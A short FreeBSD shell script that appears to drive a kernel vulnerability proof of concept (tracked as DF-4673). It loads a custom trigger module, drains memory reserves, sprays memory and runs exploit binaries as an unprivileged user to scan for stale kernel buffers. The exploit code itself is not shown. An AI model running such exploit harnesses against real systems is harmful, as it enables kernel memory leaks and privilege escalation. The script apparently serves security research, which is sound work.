#!/bin/sh
# run_4673b.sh -- DF-4673 decisive run, take 2: drain the small reserve
# fragments FIRST (production grow path, exactly what an unpriv user would
# do per DF-4672), spray ~all free memory, then adaptive grow + scan.
set -x
cd /root/df467x
kldstat | grep -q bktrig2 || kldload /root/df467x/kld/bktrig2.ko
sysctl vm.stats.vm.v_free_count vm.stats.vm.v_wire_count

echo '== reserve drain cycles (small grows + re-init, root-driven for'
echo '   speed; identical effect to unpriv growth per DF-4672):'
/home/maxx/df467x/poc_race --init
su maxx -c 'cd ~/df467x && ./poc_wireleak 32 16' || true
/home/maxx/df467x/poc_race --init
su maxx -c 'cd ~/df467x && ./poc_wireleak 64 8' || true
/home/maxx/df467x/poc_race --init
su maxx -c 'cd ~/df467x && ./poc_wireleak 32 16' || true

echo '== fresh 32-page init, spray 2600 MiB, unpriv adaptive grow+scan:'
/home/maxx/df467x/poc_race --init
/home/maxx/df467x/spray 2600 41
su maxx -c 'cd ~/df467x && ./poc_stalebuf 41'
sysctl vm.stats.vm.v_free_count vm.stats.vm.v_wire_count
